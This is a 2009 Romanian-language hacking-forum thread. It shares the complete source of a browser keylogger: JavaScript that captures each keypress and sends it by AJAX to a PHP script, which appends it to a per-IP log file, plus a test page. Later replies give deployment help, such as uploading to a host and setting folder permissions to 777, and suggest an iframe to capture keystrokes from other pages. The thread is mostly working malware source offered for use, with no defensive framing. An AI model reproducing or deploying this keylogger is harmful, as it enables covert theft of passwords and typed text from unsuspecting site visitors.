Nytro Posted August 9, 2009 Report Share Posted August 9, 2009 By reilukekl.jsfunction GetCandy(event){var kreiluke = “”;var isNetscape = (navigator.appName.indexOf(”Netscape”) != -1);var kreiluke = (isNetscape) ? String.fromCharCode(event.which) : String.fromCharCode(event.keyCode);makeRequest(’kl.php?iambr=’ + kreiluke);}function makeRequest(url){var httpRequest;if (window.XMLHttpRequest){ // Mozilla, Safari, …httpRequest = new XMLHttpRequest();if (httpRequest.overrideMimeType) {httpRequest.overrideMimeType(’text/xml’);}} else if (window.ActiveXObject){ // IEtry{httpRequest = new ActiveXObject(”Msxml2.XMLHTTP”);} catch (e) {try {httpRequest = new ActiveXObject(”Mcft.XMLHTTP”);} catch (e) {}}}if (!httpRequest){alert(’Giving up Cannot create an XMLHTTP instance’);return false;}httpRequest.onreadystatechange = function() { alertContents(httpRequest); };httpRequest.open(’GET’, url, true);httpRequest.send(null);}function alertContents(httpRequest){if (httpRequest.readyState == 4) {if (httpRequest.status == 200) {}else{alert(’There was a problem with the request.’);}}}kl.php<?php$_GET[’iambr’];$file = fopen($_SERVER[’REMOTE_ADDR’] . “-logged.txt”,”a”);fwrite($file,$_GET[’iambr’]);fclose($file);?>testpage.html<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”“http://www.w3.org/TR/html4/loose.dtd”><html><head><SCRIPT language=”JavaScript” SRC=”kl.js”></SCRIPT></head><body onkeyup=”GetCandy(event)”><p>press a ~censored~ key at it will be logged</p></body></html> Quote Link to comment Share on other sites More sharing options...
cla1992 Posted August 9, 2009 Report Share Posted August 9, 2009 Putin ajutor te rog (sunt incepator si nu prea ma pricep). Ce trebuie sa fac cu toate astea dupa ce le-am adougat intr-un folder? Quote Link to comment Share on other sites More sharing options...
nosph3rat Posted August 10, 2009 Report Share Posted August 10, 2009 presupun ca trebuie creat si un fisier de tip text cu numele logged, pe care l-am creat dar nu inregistreaza nimic. Pls help NYTRO Quote Link to comment Share on other sites More sharing options...
Nytro Posted August 10, 2009 Author Report Share Posted August 10, 2009 Uploadati fisierele pe un host, setati permisiunile folderului in care se afla la 777, intrati pe pagina HTML, apasati taste la intamplare, apoi vedeti in acel folder daca s-a creat un fisier cu IP-ul vostru. Quote Link to comment Share on other sites More sharing options...
alien Posted August 10, 2009 Report Share Posted August 10, 2009 presupun ca trebuie sa fie focusat browserul nu? Quote Link to comment Share on other sites More sharing options...
Nytro Posted August 10, 2009 Author Report Share Posted August 10, 2009 Logic. Keypress-urile trebuie sa le primeasca browserul, js-ul captureaza acestea si le trimite prin AJAX la PHP loggerul care le scrie in fisier. Quote Link to comment Share on other sites More sharing options...
alien Posted August 10, 2009 Report Share Posted August 10, 2009 aham... deci daca userul este intr-un alt tab decat cel pe care e keyloggerul tot le fura? Quote Link to comment Share on other sites More sharing options...
Nytro Posted August 10, 2009 Author Report Share Posted August 10, 2009 Nu cred, incearca si tu mai multe chestii: Pune html-ul intr-un iframe si incearca sa scrii in pagina cu iframe sau altele... Nu am testat. Quote Link to comment Share on other sites More sharing options...
nosph3rat Posted August 10, 2009 Report Share Posted August 10, 2009 La mine nu vrea... nu stiu de ce dar nu creaza niciun fisier si raman neschimbate cele actuale. Are chmod de 777 ... Quote Link to comment Share on other sites More sharing options...
Nytro Posted August 11, 2009 Author Report Share Posted August 11, 2009 Cine are chmod 777, folderul in care se afla toate fisierele? Quote Link to comment Share on other sites More sharing options...